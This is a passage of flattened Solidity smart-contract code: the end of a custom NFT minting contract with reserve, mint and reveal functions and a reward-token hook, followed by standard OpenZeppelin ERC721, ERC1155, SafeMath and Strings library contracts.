it's here in case there are some community needs. */ function setMaxReserved(uint maxReservedParam) public onlyOwner { totalReserved = uint16(maxReservedParam); } /* * Get's the max mintable. */ function getMaxReserved() public view returns (uint) { return totalReserved; } function setWatermelonTokenAddress(address _address) external onlyOwner { watermelonToken = IWatermelonToken(_address); } /*************************************** * * * Contract Logic * * * ***************************************/ /** * Reserve some tokens */ function reserveTokens(uint amount) public onlyOwner { require(uint256(totalMinted).add(amount) <= uint256(maxSupply), "Purchase exceeds max supply of Mintable Tokens"); totalReserved -= uint16(amount); safeMint(amount); } /** * Mint */ function mintOne() public payable { mint(1, oneMintPrice); } function mintTwo() public payable { mint(2, twoMintPrice); } function mintThree() public payable { mint(3, threeMintPrice); } function mintFour() public payable { mint(4, fourMintPrice); } function mint(uint amount, uint cost) internal { require(!PAUSED, "Minting is currently paused. Check later."); require(uint256(totalMinted).add(totalReserved).add(amount) <= uint256(maxSupply), "Purchase exceeds max supply of Mintable Tokens"); require(cost <= msg.value, "Ether value sent is not correct."); safeMint(amount); } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); if (REVEALED == false) { return notRevealedUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension)) : ""; } /*************************************** * * * Underlying structure * * * ***************************************/ function totalSupply() external view returns (uint256){ return totalMinted; } function calculatedSupply() external view returns (uint256) { return totalMinted + totalReserved; } /** * Send mint to sender's account. */ function safeMint(uint amount) private { for (uint i = 0; i < amount; i++) { uint mintIndex = totalMinted + i; if (totalMinted < maxSupply) { _safeMint(msg.sender, mintIndex); } } totalMinted += uint16(amount); } /*************************************** * * * Overrides * * * ***************************************/ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); watermelonToken.updateRewards(from, to); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC1155/presets/ERC1155PresetMinterPauser.sol) pragma solidity ^0.8.0; import "../ERC1155Upgradeable.sol"; import "../extensions/ERC1155BurnableUpgradeable.sol"; import "../extensions/ERC1155PausableUpgradeable.sol"; import "../../../access/AccessControlEnumerableUpgradeable.sol"; import "../../../utils/ContextUpgradeable.sol"; import "../../../proxy/utils/Initializable.sol"; /** * @dev {ERC1155} token, including: * * - ability for holders to burn (destroy) their tokens * - a minter role that allows for token minting (creation) * - a pauser role that allows to stop all token transfers * * This contract uses {AccessControl} to lock permissioned functions using the * different roles - head to its documentation for details. * * The account that deploys the contract will be granted the minter and pauser * roles, as well as the default admin role, which will let it grant both minter * and pauser roles to other accounts. */ contract ERC1155PresetMinterPauserUpgradeable is Initializable, ContextUpgradeable, AccessControlEnumerableUpgradeable, ERC1155BurnableUpgradeable, ERC1155PausableUpgradeable { function initialize(string memory uri) public virtual initializer { __ERC1155PresetMinterPauser_init(uri); } bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE"); /** * @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE`, and `PAUSER_ROLE` to the account that * deploys the contract. */ function __ERC1155PresetMinterPauser_init(string memory uri) internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __AccessControl_init_unchained(); __AccessControlEnumerable_init_unchained(); __ERC1155_init_unchained(uri); __ERC1155Burnable_init_unchained(); __Pausable_init_unchained(); __ERC1155Pausable_init_unchained(); __ERC1155PresetMinterPauser_init_unchained(uri); } function __ERC1155PresetMinterPauser_init_unchained(string memory uri) internal initializer { _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); _setupRole(MINTER_ROLE, _msgSender()); _setupRole(PAUSER_ROLE, _msgSender()); } /** * @dev Creates `amount` new tokens for `to`, of token type `id`. * * See {ERC1155-_mint}. * * Requirements: * * - the caller must have the `MINTER_ROLE`. */ function mint( address to, uint256 id, uint256 amount, bytes memory data ) public virtual { require(hasRole(MINTER_ROLE, _msgSender()), "ERC1155PresetMinterPauser: must have minter role to mint"); _mint(to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] variant of {mint}. */ function mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual { require(hasRole(MINTER_ROLE, _msgSender()), "ERC1155PresetMinterPauser: must have minter role to mint"); _mintBatch(to, ids, amounts, data); } /** * @dev Pauses all token transfers. * * See {ERC1155Pausable} and {Pausable-_pause}. * * Requirements: * * - the caller must have the `PAUSER_ROLE`. */ function pause() public virtual { require(hasRole(PAUSER_ROLE, _msgSender()), "ERC1155PresetMinterPauser: must have pauser role to pause"); _pause(); } /** * @dev Unpauses all token transfers. * * See {ERC1155Pausable} and {Pausable-_unpause}. * * Requirements: * * - the caller must have the `PAUSER_ROLE`. */ function unpause() public virtual { require(hasRole(PAUSER_ROLE, _msgSender()), "ERC1155PresetMinterPauser: must have pauser role to unpause"); _unpause(); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(AccessControlEnumerableUpgradeable, ERC1155Upgradeable) returns (bool) { return super.supportsInterface(interfaceId); } function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual override(ERC1155Upgradeable, ERC1155PausableUpgradeable) { super._beforeTokenTransfer(operator, from, to, ids, amounts, data); } uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721Upgradeable.sol"; import "./IERC721ReceiverUpgradeable.sol"; import "./extensions/IERC721MetadataUpgradeable.sol"; import "../../utils/AddressUpgradeable.sol"; import "../../utils/ContextUpgradeable.sol"; import "../../utils/StringsUpgradeable.sol"; import "../../utils/introspection/ERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable { using AddressUpgradeable for address; using StringsUpgradeable for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ function __ERC721_init(string memory name_, string memory symbol_) internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __ERC721_init_unchained(name_, symbol_); } function __ERC721_init_unchained(string memory name_, string memory symbol_) internal initializer { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) { return interfaceId == type(IERC721Upgradeable).interfaceId || interfaceId == type(IERC721MetadataUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721Upgradeable.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721Upgradeable.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721Upgradeable.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721Upgradeable.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721ReceiverUpgradeable.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} uint256[44] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC1155/ERC1155.sol) pragma solidity ^0.8.0; import "./IERC1155.sol"; import "./IERC1155Receiver.sol"; import "./extensions/IERC1155MetadataURI.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of the basic standard multi-token. * See https://eips.ethereum.org/EIPS/eip-1155 * Originally based on code by Enjin: https://github.com/enjin/erc-1155 * * _Available since v3.1._ */ contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI { using Address for address; // Mapping from token ID to account balances mapping(uint256 => mapping(address => uint256)) private _balances; // Mapping from account to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json string private _uri; /** * @dev See {_setURI}. */ constructor(string memory uri_) { _setURI(uri_); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC1155).interfaceId || interfaceId == type(IERC1155MetadataURI).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for *all* token types. It relies * on the token type ID substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients calling this function must replace the `\{id\}` substring with the * actual token type ID. */ function uri(uint256) public view virtual override returns (string memory) { return _uri; } /** * @dev See {IERC1155-balanceOf}. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require(account != address(0), "ERC1155: balance query for the zero address"); return _balances[id][account]; } /** * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] memory accounts, uint256[] memory ids) public view virtual override returns (uint256[] memory) { require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } /** * @dev See {IERC1155-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC1155-isApprovedForAll}. */ function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } /** * @dev See {IERC1155-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: caller is not owner nor approved" ); _safeTransferFrom(from, to, id, amount, data); } /** * @dev See {IERC1155-safeBatchTransferFrom}. */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: transfer caller is not owner nor approved" ); _safeBatchTransferFrom(from, to, ids, amounts, data); } /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); } /** * @dev Sets a new URI for all token types, by relying on the token type ID * substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * By this mechanism, any occurrence of the `\{id\}` substring in either the * URI or any of the amounts in the JSON file at said URI will be replaced by * clients with the token type ID. * * For example, the `https://token-cdn-domain/\{id\}.json` URI would be * interpreted by clients as * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json` * for token type ID 0x4cce0. * * See {uri}. * * Because these URIs cannot be meaningfully represented by the {URI} event, * this function emits no events. */ function _setURI(string memory newuri) internal virtual { _uri = newuri; } /** * @dev Creates `amount` tokens of token type `id`, and assigns them to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _mint( address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][to] += amount; emit TransferSingle(operator, address(0), to, id, amount); _doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); for (uint256 i = 0; i < ids.length; i++) { _balances[ids[i]][to] += amounts[i]; } emit TransferBatch(operator, address(0), to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); } /** * @dev Destroys `amount` tokens of token type `id` from `from` * * Requirements: * * - `from` cannot be the zero address. * - `from` must have at least `amount` tokens of token type `id`. */ function _burn( address from, uint256 id, uint256 amount ) internal virtual { require(from != address(0), "ERC1155: burn from the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, address(0), _asSingletonArray(id), _asSingletonArray(amount), ""); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][from] = fromBalance - amount; } emit TransferSingle(operator, from, address(0), id, amount); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}. * * Requirements: * * - `ids` and `amounts` must have the same length. */ function _burnBatch( address from, uint256[] memory ids, uint256[] memory amounts ) internal virtual { require(from != address(0), "ERC1155: burn from the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, address(0), ids, amounts, ""); for (uint256 i = 0; i < ids.length; i++) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][from] = fromBalance - amount; } } emit TransferBatch(operator, from, address(0), ids, amounts); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC1155: setting approval status for self"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual {} function _doSafeTransferAcceptanceCheck( address operator, address from, address to, 